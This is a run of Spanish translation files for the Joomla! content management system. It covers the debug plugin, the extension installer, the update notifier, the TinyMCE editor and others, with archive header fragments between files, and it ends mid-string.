UTF-8 - NO BOM! PLG_DEBUG_ERRORS="Errores" PLG_DEBUG_FIELD_ALLOWED_GROUPS_DESC="Restringe los grupos de usuarios que pueden ver la información de depuración a aquellos que estén dentro de los grupos seleccionados. Si no se selecciona ninguno, todos los usuarios podrán ver la información de depuración." PLG_DEBUG_FIELD_ALLOWED_GROUPS_LABEL="Grupos permitidos" PLG_DEBUG_FIELD_LANGUAGE_ERRORFILES_DESC="Muestra un listado de los archivos del idioma que están equivocados con respecto a lo acordado desde el archivo 'ini' de expecificación que usa Joomla!." PLG_DEBUG_FIELD_LANGUAGE_ERRORFILES_LABEL="Muestra los errores cuando se analizan archivos del idioma" PLG_DEBUG_FIELD_LANGUAGE_FILES_DESC="Se muestra un listado de los archivos del idioma que Joomla! ha intentado cargar." PLG_DEBUG_FIELD_LANGUAGE_FILES_LABEL="Mostrar archivos del idioma" PLG_DEBUG_FIELD_LANGUAGE_STRING_DESC="Se muestra un listado de cadenas del idioma sin traducir." PLG_DEBUG_FIELD_LANGUAGE_STRING_LABEL="Mostrar cadenas del idioma" PLG_DEBUG_FIELD_LOG_DEPRECATED_DESC="Si se habilita, la API considerada en desuso será registrada. Úselo solo por breves espacios de tiempo y con propósitos de reestructuración." PLG_DEBUG_FIELD_LOG_DEPRECATED_LABEL="Registrar API en desuso" PLG_DEBUG_FIELD_MEMORY_DESC="Se muestra el uso total de la memoria usada." PLG_DEBUG_FIELD_MEMORY_LABEL="Mostrar el uso de la memoria" PLG_DEBUG_FIELD_PROFILING_DESC="Se muestra la perfilación de los puntos de guía." PLG_DEBUG_FIELD_PROFILING_LABEL="Mostrar perfilación" PLG_DEBUG_FIELD_QUERIES_DESC="Se muestra un listado de consultas ejecutadas mientras se va mostrando la página." PLG_DEBUG_FIELD_QUERIES_LABEL="Mostrar consultas" PLG_DEBUG_FIELD_QUERY_TYPES_DESC="Se muestra un listado con el tipo de consultas únicas y su número de ocurrencias en la página actual. Esto puede ser útil para ayudarle a localizar consultas repetidas que son redundantes o que se pueden agrupar dentro de una consulta más simple y eficiente." PLG_DEBUG_FIELD_QUERY_TYPES_LABEL="Mostrar el tipo de consultas" PLG_DEBUG_FIELD_STRIP_FIRST_DESC="En cadenas de múltiples palabras, quitar siempre la primera palabra." PLG_DEBUG_FIELD_STRIP_FIRST_LABEL="Quitar la primera palabra" PLG_DEBUG_FIELD_STRIP_PREFIX_DESC="Quitar las palabras del inicio de la cadena. Para múltiples palabras use el formato: '(palabra1|palabra2)'" PLG_DEBUG_FIELD_STRIP_PREFIX_LABEL="Quitar del inicio" PLG_DEBUG_FIELD_STRIP_SUFFIX_DESC="Quitar las palabras del final de la cadena. Para múltiples palabras use el formato: '(palabra1|palabra2)'" PLG_DEBUG_FIELD_STRIP_SUFFIX_LABEL="Quitar del final" PLG_DEBUG_LANG_LOADED="Cargado" PLG_DEBUG_LANG_NOT_LOADED="No cargado" PLG_DEBUG_LANGUAGE_FIELDSET_LABEL="Opciones del idioma" PLG_DEBUG_LANGUAGE_FILES_IN_ERROR="Errores analizados en los archivos del idioma" PLG_DEBUG_LANGUAGE_FILES_LOADED="Archivos del idioma cargados" PLG_DEBUG_LOGGING_FIELDSET_LABEL="Acceder" PLG_DEBUG_MEMORY_USAGE="Uso de la memoria" PLG_DEBUG_OTHER_QUERIES="OTRAS tablas:" PLG_DEBUG_PROFILE_INFORMATION="Información del perfil" PLG_DEBUG_QUERIES="Consultas de la base de datos" PLG_DEBUG_QUERIES_LOGGED="%d consultas registradas" PLG_DEBUG_QUERY_TYPES_LOGGED="%d tipo de consultas registradas, ordenadas por la ocurrencia" PLG_DEBUG_QUERY_TYPE_AND_OCCURRENCES="%2$d × %1$s" PLG_DEBUG_SELECT_QUERIES="Tablas SELECCIONADAS:" PLG_DEBUG_SESSION="Sesión" PLG_DEBUG_TITLE="Consola de depuración de Joomla!" PLG_DEBUG_UNKNOWN_FILE="Archivo desconocido" PLG_DEBUG_UNTRANSLATED_STRINGS="Cadenas sin traducir" PLG_DEBUG_XML_DESCRIPTION="Este plugin proporciona tanto una variedad de información del sistema, como asistencia para la creación de archivos del idioma." PLG_SYSTEM_DEBUG="Sistema - Depurador" PK@y>\kLL&language/es-ES/es-ES.com_installer.ininuW+A; $Id: es-ES.com_installer.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2015 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_INSTALLER="Gestor del instalador" COM_INSTALLER_COMPATIBILITY_TOOLTIP_TITLE="Compatibilidad" COM_INSTALLER_COMPATIBILITY_TOOLTIP_INSTALLED="La versión instalada (%1$s) funciona con las versiones de Joomla! %2$s." COM_INSTALLER_COMPATIBILITY_TOOLTIP_AVAILABLE="La última versión disponible (%1$s) funciona con las versiones de Joomla! %2$s." COM_INSTALLER_AUTHOR_INFORMATION="Información del autor" COM_INSTALLER_CONFIGURATION="Configuración del instalador" COM_INSTALLER_ENABLED_UPDATES_1=", 1 sitio que estaba deshabilitado ha sido habilitado" COM_INSTALLER_ENABLED_UPDATES_MORE=", %s sitios que estaban deshabilitados han sido habilitados" COM_INSTALLER_ERROR_DISABLE_DEFAULT_TEMPLATE_NOT_PERMITTED="No se permite deshabilitar la platilla predeterminada" COM_INSTALLER_ERROR_METHOD="Este método no está implementado" COM_INSTALLER_ERROR_NO_EXTENSIONS_SELECTED="No hay extensiones seleccionadas" COM_INSTALLER_EXTENSION_DISABLE="Deshabilitar la extensión" COM_INSTALLER_EXTENSION_DISABLED="Extensión deshabilitada" COM_INSTALLER_EXTENSION_ENABLE="Habilitar la extensión" COM_INSTALLER_EXTENSION_ENABLED="Extensión habilitada" COM_INSTALLER_EXTENSION_PROTECTED="Extensión protegida" COM_INSTALLER_EXTENSION_PUBLISHED="Extensión habilitada correctamente." COM_INSTALLER_EXTENSION_UNPUBLISHED="Extensión deshabilitada correctamente." COM_INSTALLER_FAILED_TO_ENABLE_UPDATES=", se ha producido un error al habilitar las actualizaciones" COM_INSTALLER_FAILED_TO_PURGE_UPDATES="Se ha producido un error al purgar las actualizaciones" COM_INSTALLER_HEADER_DATABASE="Gestor de extensiones: Comprobar la base de datos" COM_INSTALLER_HEADER_DISCOVER="Gestor de extensiones: Descubrir" COM_INSTALLER_HEADER_INSTALL="Gestor de extensiones: Instalar" COM_INSTALLER_HEADER_MANAGE="Gestor de extensiones: Gestionar" COM_INSTALLER_HEADER_UPDATE="Gestor de extensiones: Actualizar" COM_INSTALLER_HEADER_WARNINGS="Gestor de extensiones: Advertencias" COM_INSTALLER_HEADING_CLIENT="Cliente" COM_INSTALLER_HEADING_LOCATION="Localización" COM_INSTALLER_HEADING_DETAILSURL="Detalles de la URL" COM_INSTALLER_HEADING_FOLDER="Carpeta" COM_INSTALLER_HEADING_ID="ID" COM_INSTALLER_HEADING_INSTALLTYPE="Tipo de instalación" COM_INSTALLER_HEADING_NAME="Nombre" COM_INSTALLER_HEADING_TYPE="Tipo" COM_INSTALLER_INSTALL_BUTTON="Instalar" COM_INSTALLER_INSTALL_DIRECTORY="Directorio de instalación" COM_INSTALLER_INSTALL_ERROR="Error instalando %s" COM_INSTALLER_INSTALL_FROM_DIRECTORY="Instalar desde un directorio" COM_INSTALLER_INSTALL_FROM_URL="Instalar desde una URL" COM_INSTALLER_INSTALL_SUCCESS="Instalar %s se ha realizado correctamente " COM_INSTALLER_INSTALL_URL="URL de instalación" COM_INSTALLER_INVALID_EXTENSION_UPDATE="Actualización de la extensión inválida" COM_INSTALLER_LABEL_HIDEPROTECTED_DESC="Ocultar las extensiones protegidas. Las extensiones protegidas no se pueden desinstalar" COM_INSTALLER_LABEL_HIDEPROTECTED_LABEL="Ocultar las extensiones protegidas" COM_INSTALLER_MSG_DESCFTP="Para instalar o desinstalar extensiones, Joomla! podría necesitar los datos de acceso a su cuenta FTP. Por favor, introdúzcalos en los campos del formulario de más abajo." COM_INSTALLER_MSG_DESCFTPTITLE="Detalles de acceso al FTP" COM_INSTALLER_MSG_DATABASE_CHECKED_OK="%s cambios en la base de datos se han comprobado correctamente." COM_INSTALLER_MSG_DATABASE_SKIPPED="%s cambios en la base de datos no han alterado el esquema de las tablas y se han saltado." COM_INSTALLER_MSG_DATABASE_DRIVER="Controlador de la base de datos: %s." COM_INSTALLER_MSG_DATABASE_SCHEMA_VERSION="Versión del esquema de la base de datos (en '#__schemas'): %s." COM_INSTALLER_MSG_DATABASE_UPDATE_VERSION="Actualizar versión (en #__extensions): %s." COM_INSTALLER_MSG_DATABASE_OK="La estructura de tablas de la base de datos está actualizada." COM_INSTALLER_MSG_DATABASE="Esta pantalla le permite comprobar si la estructura de tablas de su base de datos está actualizada con respecto a los cambios aplicados desde versiones anteriores." COM_INSTALLER_MSG_DATABASE_ERRORS="¡Advertencia: La base de datos no está actualizada!" COM_INSTALLER_MSG_DATABASE_CHANGE_COLUMN_TYPE="La tabla %2$s no tiene la columna %3$s del tipo %4$s. (Desde el archivo %1$s.)" COM_INSTALLER_MSG_DATABASE_CREATE_TABLE="La tabla %2$s no existe. (Desde el archivo %1$s.)" COM_INSTALLER_MSG_DATABASE_ADD_COLUMN="La tabla %2$s no tiene columna %3$s. (Desde el archivo %1$s.)" COM_INSTALLER_MSG_DATABASE_ADD_INDEX="La tabla %2$s no tiene el índice %3$s. (Desde el archivo %1$s.)" COM_INSTALLER_MSG_DATABASE_DROP_INDEX="La tabla %2$s no debería tener el índice %3$s. (desde el archivo %1$s.)" COM_INSTALLER_MSG_DATABASE_FILTER_ERROR="No se han encontrado filtros de texto personalizados." COM_INSTALLER_MSG_DATABASE_UPDATEVERSION_ERROR="La versión de actualización (%s) no coincide con el CMS" COM_INSTALLER_MSG_DATABASE_INFO="Otra información" COM_INSTALLER_MSG_N_DATABASE_ERROR_PANEL="%d problemas encontrados en la base de datos" COM_INSTALLER_MSG_N_DATABASE_ERROR_PANEL_1="1 problema encontrado en la base de datos" COM_INSTALLER_MSG_DATABASE_SCHEMA_ERROR="El equema de la base de datos (versión %s) no coincide con la versión del CMS (%s)." COM_INSTALLER_MSG_DISCOVER_DESCRIPTION="Este apartado permite descubrir extensiones que no han sido agregadas usando el proceso normal de instalación.
            Por ejemplo, algunas extensiones son demasiado grandes para ser subidas usando la interfaz web, debido a las restricciones impuestas por quien sirve el hospedaje. Usando esta característica podrá subir los archivos de la extensión directamente al directorio de su servidor web usando otros medios del tipo FTP o SFTP, para poner en el lugar apropiado los archivos de esa extensión.
            Por lo tanto, puede usar esta característica para encontrar alguna extensión subida recientemente y activarla en su instalación de Joomla!
            Usando esta utilidad también se pueden descubrir e instalar múltiples extensiones al mismo tiempo." COM_INSTALLER_MSG_DISCOVER_FAILEDTOPURGEEXTENSIONS="Se ha producido un error al purgar las extensiones" COM_INSTALLER_MSG_DISCOVER_INSTALLFAILED="La instalación de la extensión descubierta ha fallado" COM_INSTALLER_MSG_DISCOVER_INSTALLSUCCESSFUL="La instalación de la extensión descubierta se ha realizado correctamente" COM_INSTALLER_MSG_DISCOVER_NOEXTENSION="No se ha descubierto ninguna extensión. Haga clic sobre el icono 'Descubrir' para encontrar nuevas extensiones que puedan estar disponibles para instalar." COM_INSTALLER_MSG_DISCOVER_NOEXTENSIONSELECTED="No hay ninguna extensión seleccionada" COM_INSTALLER_MSG_DISCOVER_PURGEDDISCOVEREDEXTENSIONS="Las extensiones descubiertas han sido purgadas" COM_INSTALLER_MSG_INSTALL_ENTER_A_URL="Por favor, introduzca una URL" COM_INSTALLER_MSG_INSTALL_INVALID_URL="La URL es inválida" COM_INSTALLER_MSG_INSTALL_NO_FILE_SELECTED="No hay ningún archivo seleccionado" COM_INSTALLER_MSG_INSTALL_PATH_DOES_NOT_HAVE_A_VALID_PACKAGE="La ruta no contiene ningún paquete válido." COM_INSTALLER_MSG_INSTALL_PLEASE_ENTER_A_PACKAGE_DIRECTORY="Por favor, introduzca el directorio del paquete" COM_INSTALLER_MSG_INSTALL_PLEASE_SELECT_A_DIRECTORY="Por favor, seleccione el directorio del paquete" COM_INSTALLER_MSG_INSTALL_PLEASE_SELECT_A_PACKAGE="Por favor, seleccione la ubicación del paquete" COM_INSTALLER_MSG_INSTALL_WARNINSTALLFILE="El instalador no podrá continuar hasta que el servidor disponga de la subida de archivos habilitada." COM_INSTALLER_MSG_INSTALL_WARNINSTALLUPLOADERROR="Se ha producido un error subiendo este archivo al servidor." COM_INSTALLER_MSG_INSTALL_WARNINSTALLZLIB="El instalador no podrá continuar hasta que Zlib esté instalado." COM_INSTALLER_MSG_LANGUAGES_CANT_FIND_REMOTE_MANIFEST="El instalador no puede obtener la URL hacia el archivo XML de manifiesto del idioma %s." COM_INSTALLER_MSG_LANGUAGES_CANT_FIND_REMOTE_PACKAGE="El instalador no puede obtener la URL hacia el idioma remoto en %s." COM_INSTALLER_MSG_LANGUAGES_TRY_LATER="Inténtelo más tarde o sitio de documentación de Joomla!" COM_INSTALLER_MSG_WARNINGS_JOOMLATMPNOTSET="El directorio temporal de Joomla! no está asignado" COM_INSTALLER_MSG_WARNINGS_JOOMLATMPNOTSETDESC="El directorio temporal es donde Joomla! copia la extensión, la extrae, y se copian los archivos en los directorios correctos. Si este parámetro de la configuración no está asignado dentro del archivo 'configuration.php' ('$tmp_path'), no podrá subir extensiones. Para solucionar este asunto, cree un directorio donde se permita a Joomla! escribir." COM_INSTALLER_MSG_WARNINGS_JOOMLATMPNOTWRITEABLE="El directorio temporal de Joomla! no existe o no es escribible" COM_INSTALLER_MSG_WARNINGS_JOOMLATMPNOTWRITEABLEDESC="El directorio temporal de Joomla! no es escribible desde Joomla! o puede que no exista, lo cual puede generar problemas cuando se intenten subir extensiones para Joomla! Asegúrese de que el directorio está declarado en el archivo 'configuration.php' o revise el '%s' y configúrelo para que sea escribible. Luego compruebe si eso soluciona la incidencia." COM_INSTALLER_MSG_WARNINGS_LOWMEMORYDESC="El límite de la memoria de PHP es bajo" COM_INSTALLER_MSG_WARNINGS_LOWMEMORYWARN="Su límite de la memoria de PHP está configurado por debajo de 8MB, lo cual puede ocasionar problemas cuando intente instalar extensiones de gran tamaño. Por favor, configure el límite de la memoria como mínimo a 16MB." COM_INSTALLER_MSG_WARNINGS_MEDMEMORYDESC="El límite de la memoria de PHP es potencialmente bajo" COM_INSTALLER_MSG_WARNINGS_MEDMEMORYWARN="Su límite de la memoria de PHP está configurado por debajo de 8MB, lo cual puede ocasionar problemas cuando intente instalar extensiones de gran tamaño. Por favor, configure el límite de la memoria como mínimo a 16MB." COM_INSTALLER_MSG_WARNINGS_SMALLPOSTSIZE="El tamaño del método 'POST' de PHP es demasiado bajo" COM_INSTALLER_MSG_WARNINGS_SMALLPOSTSIZEDESC="El tamaño máximo del método 'POST' configura la cantidad de datos que se pueden enviar por esta vía al servidor. Esto incluye el envío de artículos, multimedia (imágenes, vídeos) y extensiones. Si el valor es menor de 2MB puede ocasionar problemas cuando intente instalar extensiones de gran tamaño. Esto se configura desde un archivo de PHP, llamado 'php.ini', por medio de la directiva 'post_max_size'" COM_INSTALLER_MSG_WARNINGS_SMALLUPLOADSIZE="El tamaño permitido de PHP para subir archivos es demasiado bajo" COM_INSTALLER_MSG_WARNINGS_SMALLUPLOADSIZEDESC="El tamaño máximo permitido para la subida de archivos es menor de 2MB, lo cual puede ocasionar problemas cuando intente subir extensiones de gran tamaño." COM_INSTALLER_MSG_WARNINGS_UPLOADBIGGERTHANPOST="El tamaño permitido para las subidas de archivos de PHP es mayor que el permitido para los métodos 'POST'" COM_INSTALLER_MSG_WARNINGS_UPLOADBIGGERTHANPOSTDESC="El valor asignado dentro del archivo 'php.ini' para la directiva 'upload_max_filesize' es mayor que el de la directiva 'post_max_size'. La directiva 'post_max_size' tendrá prioridad y se bloquearán las solicitudes que sean mayores que el límite de su valor. Generalmente se considera un descuido en la configuración que se produce al incrementar solo el tamaño de las subidas. Por favor, incremente el valor de la directiva 'upload_max_filesize' por lo menos hasta que coincida con la del 'post_max_size' o viceversa" COM_INSTALLER_MSG_WARNINGS_NONE="No se han detectado advertencias" COM_INSTALLER_MSG_WARNINGS_NOTCOMPLETE="

            ¡Advertencia: Actualización incompleta!

            La actualización solo se ha completado parcialmente. Por favor, haga una segunda actualización para completar el proceso.

            " COM_INSTALLER_MSG_WARNINGS_PHPUPLOADNOTSET="El directorio temporal de PHP no ha sido asignado" COM_INSTALLER_MSG_WARNINGS_PHPUPLOADNOTSETDESC="El directorio temporal de PHP es el directorio que PHP usa para almacenar los archivos subidos, antes de que Joomla! pueda acceder a ellos. Si el directorio ha sido asignado, no debería ser un problema, pero, si está teniendo problemas con archivos que no están siendo detectados, o archivos subidos que no están siendo detectados, definir esto en su archivo 'php.ini' podría solucionar el asunto." COM_INSTALLER_MSG_WARNINGS_PHPUPLOADNOTWRITEABLE="El directorio temporal de Joomla! no es escribible" COM_INSTALLER_MSG_WARNINGS_PHPUPLOADNOTWRITEABLEDESC="El directorio temporal de Joomla! no es escribible desde Joomla!, lo cual puede generar problemas cuando se intenten subir extensiones para Joomla! Asegúrese de que el directorio está declarado en el archivo 'configuration.php' o revise el '%s' y configúrelo para que sea escribible. Luego compruebe si eso soluciona la incidencia." COM_INSTALLER_N_EXTENSIONS_PUBLISHED="%d extensiones habilitadas correctamente." COM_INSTALLER_N_EXTENSIONS_PUBLISHED_1="%d extensión habilitada correctamente." COM_INSTALLER_N_EXTENSIONS_UNPUBLISHED="%d extensiones deshabilitadas correctamente." COM_INSTALLER_N_EXTENSIONS_UNPUBLISHED_1="%d extensión deshabilitada correctamente." COM_INSTALLER_NEW_INSTALL="Instalación nueva" COM_INSTALLER_NO_INSTALL_TYPE_FOUND="No se ha encontrado el tipo de instalación" COM_INSTALLER_PACKAGE_DOWNLOAD_FAILED="Descarga del paquete fallida: %s" COM_INSTALLER_PACKAGE_FILE="Paquete" COM_INSTALLER_PURGED_UPDATES="Actualizaciones purgadas" COM_INSTALLER_SUBMENU_DATABASE="Base de datos" COM_INSTALLER_SUBMENU_DISCOVER="Descubrir" COM_INSTALLER_SUBMENU_INSTALL="Instalar" COM_INSTALLER_SUBMENU_MANAGE="Gestionar" COM_INSTALLER_SUBMENU_UPDATE="Actualizar" COM_INSTALLER_SUBMENU_WARNINGS="Advertencias" COM_INSTALLER_TITLE_DATABASE="Gestor de extensiones - Base de datos" COM_INSTALLER_TITLE_DISCOVER="Gestor de extensiones - Descubrir" COM_INSTALLER_TITLE_INSTALL="Gestor de extensiones - Instalar" COM_INSTALLER_TITLE_LANGUAGES="Gestor de extensiones - Instalar idiomas" COM_INSTALLER_TITLE_MANAGE="Gestor de extensiones - Gestionar" COM_INSTALLER_TITLE_UPDATE="Gestor de extensiones - Actualizar" COM_INSTALLER_TITLE_WARNINGS="Gestor de extensiones - Advertencias" COM_INSTALLER_TOOLBAR_DISCOVER="Descubrir" COM_INSTALLER_TOOLBAR_FIND_UPDATES="Buscar actualizaciones" COM_INSTALLER_TOOLBAR_UPDATE="Actualizar" COM_INSTALLER_TOOLBAR_DATABASE_FIX="Corregir" COM_INSTALLER_TYPE_CLIENT="Localización" COM_INSTALLER_TYPE_COMPONENT="Componente" COM_INSTALLER_TYPE_FILE="Archivo" COM_INSTALLER_TYPE_LANGUAGE="Idioma" COM_INSTALLER_TYPE_LIBRARY="Librería" COM_INSTALLER_TYPE_MODULE="Módulo" COM_INSTALLER_TYPE_NONAPPLICABLE="No aplicable" COM_INSTALLER_TYPE_PACKAGE="Paquete" COM_INSTALLER_TYPE_PLUGIN="Plugin" COM_INSTALLER_TYPE_TEMPLATE="Plantilla" COM_INSTALLER_TYPE_TYPE_COMPONENT="componente" COM_INSTALLER_TYPE_TYPE_FILE="archivo" COM_INSTALLER_TYPE_TYPE_LANGUAGE="idioma" COM_INSTALLER_TYPE_TYPE_LIBRARY="librería" COM_INSTALLER_TYPE_TYPE_MODULE="módulo" COM_INSTALLER_TYPE_TYPE_PACKAGE="paquete" COM_INSTALLER_TYPE_TYPE_PLUGIN="plugin" COM_INSTALLER_TYPE_TYPE_TEMPLATE="plantilla" COM_INSTALLER_UNABLE_TO_FIND_INSTALL_PACKAGE="No se puede encontrar el paquete de instalación" COM_INSTALLER_UNINSTALL_ERROR="Error desinstalando %s." COM_INSTALLER_UNINSTALL_SUCCESS="Desinstalar %s se ha realizado correctamente." COM_INSTALLER_UPLOAD_AND_INSTALL="Subir e instalar" COM_INSTALLER_UPLOAD_PACKAGE_FILE="Subir paquete" COM_INSTALLER_VALUE_CLIENT_SELECT="- Seleccionar localización -" COM_INSTALLER_VALUE_FOLDER_NONAPPLICABLE="No aplicable" COM_INSTALLER_VALUE_FOLDER_SELECT="- Seleccionar carpeta -" COM_INSTALLER_VALUE_STATE_SELECT="- Seleccionar estado -" COM_INSTALLER_VALUE_TYPE_SELECT="- Seleccionar tipo -" COM_INSTALLER_XML_DESCRIPTION="Componente que permite añadir, eliminar y actualizar extensiones" JLIB_RULES_SETTING_NOTES="1. Si cambia la configuración, las modificaciones se aplicarán sobre este componente. Note que:
            Heredado quiere decir que, para determinar el estado del permiso, se tendrá en cuenta lo que haya asignado desde la configuración global y desde los grupos de nivel superior.
            Denegado quiere decir que da igual como esté configurado el estado de los permisos sobre esa acción desde la configuración global, o desde los grupos de nivel superior a los que pertenezca el grupo que desee configurar; es decir, al grupo al que le cambie el estado del permiso a 'Denegado' desde este apartado, no podrá realizar esa acción sobre este componente (incluyendo a todos sus subgrupos, si tuviera).
            Permitido quiere decir que el grupo al que le cambie el estado de la acción a 'Permitido' desde aquí, podrá realizar esa acción sobre este componente (pero si esta configuración entra en conflicto con lo asignado desde la configuración global, o con lo asignado en los grupos de nivel superior a los que pertenezca el grupo que desee reconfigurar, la configuración que aplique desde aquí no tendrá efecto, y el conflicto será indicado con un No permitido (bloqueado) debajo del estado de configuración calculada).
            2. Si realiza algún cambio en la configuración, haga clic en Guardar para que se pueda recalcular la nueva configuración." COM_INSTALLER_PREFERENCES_LABEL="Preferencias" COM_INSTALLER_PREFERENCES_DESCRIPTION="Ajustes sobre cómo está funcionando la instalación y actualización de extensiones" COM_INSTALLER_CACHETIMEOUT_LABEL="Caché para actualizaciones (en horas)" COM_INSTALLER_CACHETIMEOUT_DESC="Duración, en horas, que tardará la caché de actualización de extensiones para Joomla! en refrescar la información" COM_INSTALLER_SUBMENU_LANGUAGES="Instalar idiomas" COM_INSTALLER_TOOLBAR_INSTALL="Instalar" COM_INSTALLER_TOOLBAR_FIND_LANGUAGES="Buscar idiomas" COM_INSTALLER_LANGUAGES_AVAILABLE_LANGUAGES="Idiomas disponibles" COM_INSTALLER_HEADER_LANGUAGES="Instalar traducciones acreditadas del idioma" COM_INSTALLER_HEADING_DETAILS_URL="Detailles de la URL" COM_INSTALLER_MSG_LANGUAGES_NOLANGUAGES="No hay diponibles idiomas para instalar en este momento. Por favor, haga clic en el icono "Purgar caché " y" COM_INSTALLER_LANGUAGES_FILTER_SEARCH_DESC="Buscar por nombre del idioma." PK@y>\TҾ3language/es-ES/es-ES.plg_quickicon_joomlaupdate.ininuW+A; $Id: es-ES.plg_quickicon_joomlaupdate.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_QUICKICON_JOOMLAUPDATE="Enlaces rápidos - Notificación de actualizaciones para Joomla!" PLG_QUICKICON_JOOMLAUPDATE_CHECKING="Comprobando Joomla!
            Estado de actualización" PLG_QUICKICON_JOOMLAUPDATE_ERROR="Joomla! sin identificar
            Estado de actualización" PLG_QUICKICON_JOOMLAUPDATE_GROUP_DESC="El grupo de este plugin (este valor se compara con el usado como valor del grupo en los módulos del tipo Enlaces rápidos para inyectar iconos)" PLG_QUICKICON_JOOMLAUPDATE_GROUP_LABEL="Grupo" PLG_QUICKICON_JOOMLAUPDATE_UPDATEFOUND="Joomla! %s
            ¡Actualizar ahora!" PLG_QUICKICON_JOOMLAUPDATE_UPTODATE="Joomla! está actualizado" PLG_QUICKICON_JOOMLAUPDATE_XML_DESCRIPTION="Comprueba si hay actualizaciones para Joomla! y se lo notifica cuando visite el 'Panel de control'" PK@y>\o1++1language/es-ES/es-ES.plg_editors-xtd_readmore.ininuW+A; $Id: es-ES.plg_editors-xtd_readmore.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_EDITORS-XTD_READMORE="Botón - Leer más" PLG_READMORE_ALREADY_EXISTS="Ya hay un enlace 'Leer más...' insertado y solo se permite uno por artículo. En venideras ocasiones, use el '{pagebreak}' si lo que desea es fraccionar la página con saltos de página." PLG_READMORE_BUTTON_READMORE="Leer más" PLG_READMORE_XML_DESCRIPTION="Se habilita un botón, el cual le permite insertar fácilmente el enlace 'Leer más...' dentro de un artículo." PK@y>\=5#language/es-ES/es-ES.com_cpanel.ininuW+A; $Id: es-ES.com_cpanel.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_CPANEL="Panel de control" COM_CPANEL_XML_DESCRIPTION="Componente que permite usar el panel de control" PK@y>\i@R*R*,language/es-ES/es-ES.plg_editors_tinymce.ininuW+A; $Id: es-ES.plg_editors_tinymce.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_EDITORS_TINYMCE="Editor - TinyMCE" PLG_TINY_BUTTON_TOGGLE_EDITOR="Cambiar editor" PLG_TINY_ERR_CUSTOMCSSFILENOTPRESENT="El nombre de archivo %s que fue introducido en el campo de CSS personalizado del editor TinyMCE. Este archivo no se puede encontrar en la carpeta de la plantilla predeterminada. No hay estilos disponibles." PLG_TINY_ERR_EDITORCSSFILENOTPRESENT="No se puede encontrar el archivo 'editor.css' en la plantilla por la carpeta del sistema o de las plantillas. No hay estilos disponibles." PLG_TINY_FIELD_ADVIMAGE_DESC="Activa o desactiva un cuadro de diálogo para imágenes más avanzado" PLG_TINY_FIELD_ADVIMAGE_LABEL="Opciones de imagen avanzadas" PLG_TINY_FIELD_ADVLINK_DESC="Activa o desactiva un cuadro de diálogo para enlaces más avanzado" PLG_TINY_FIELD_ADVLINK_LABEL="Opciones de enlace avanzadas" PLG_TINY_FIELD_ADVLIST_DESC="Actívelo o desactívelo para asignar formatos numéricos y tipos de punto en las listas ordenadas y desordenadas" PLG_TINY_FIELD_ADVLIST_LABEL="Opciones de listado avanzadas" PLG_TINY_FIELD_BLOCKQUOTE_DESC="Activa o desactiva las citas" PLG_TINY_FIELD_BLOCKQUOTE_LABEL="Citas" PLG_TINY_FIELD_COLORS_DESC="Se muestran u ocultan los colores de los botones de control. Solo aplicable en modo extendido" PLG_TINY_FIELD_COLORS_LABEL="Colores" PLG_TINY_FIELD_CONTEXTMENU_DESC="Se activa o desactiva el menú contextual" PLG_TINY_FIELD_CONTEXTMENU_LABEL="Menú contextual" PLG_TINY_FIELD_CSS_DESC="Predeterminadamente el editor obtiene su aspecto de un archivo llamado 'editor.css'. Si no se consigue encontrar en carpeta 'css' de la plantilla predeterminada, se cargará el archivo 'editor.css' del sistema." PLG_TINY_FIELD_CSS_LABEL="Clases CSS de la plantilla" PLG_TINY_FIELD_CUSTOM_CSS_DESC="Archivo CSS opcional que sobrescribirá el archivo estándar 'editor.css'. Introduzca el nombre del archivo para apuntar al archivo de la plantilla predeterminada que esté en la carpeta CSS (por ejemplo: 'templates/beez_20/css/'), o introduzca la URL completa en ruta al archivo CSS. Si introduce un valor en este campo, este es el archivo que se usará en lugar del archivo del editor 'editor.css'" PLG_TINY_FIELD_CUSTOM_CSS_LABEL="Clase CSS personalizada" PLG_TINY_FIELD_CUSTOMBUTTON_DESC="Añade botones personalizados" PLG_TINY_FIELD_CUSTOMBUTTON_LABEL="Botón personalizado" PLG_TINY_FIELD_CUSTOMPLUGIN_DESC="Añade plugin(s) personalizados" PLG_TINY_FIELD_CUSTOMPLUGIN_LABEL="Plugin personalizado" PLG_TINY_FIELD_DATE_DESC="Se muestra u oculta el botón de insertar fecha. Solo funcionará en el modo extendido." PLG_TINY_FIELD_DATE_LABEL="Insertar fecha" PLG_TINY_FIELD_DATEFORMAT_DESC="Formato de la fecha insertada. Solo funcionará en el modo extendido." PLG_TINY_FIELD_DATEFORMAT_LABEL="Formato de fecha" PLG_TINY_FIELD_DIRECTION_DESC="Elija la dirección predeterminada del texto" PLG_TINY_FIELD_DIRECTION_LABEL="Dirección del texto" PLG_TINY_FIELD_ELEMENTS_DESC="Se permite añadir elementos específicos válidos a la regla existente." PLG_TINY_FIELD_ELEMENTS_LABEL="Elementos válidos extendidos" PLG_TINY_FIELD_ENCODING_DESC="Se controla cómo se codifican las entidades. La configuración recomendada es 'bruto'. 'nombrado' = es el nombre asignado por la codificación de la entidad (por ejemplo, '<'). 'numérico' = usa la codificación HTML numérica (por ejemplo, '%03c'). 'bruto' 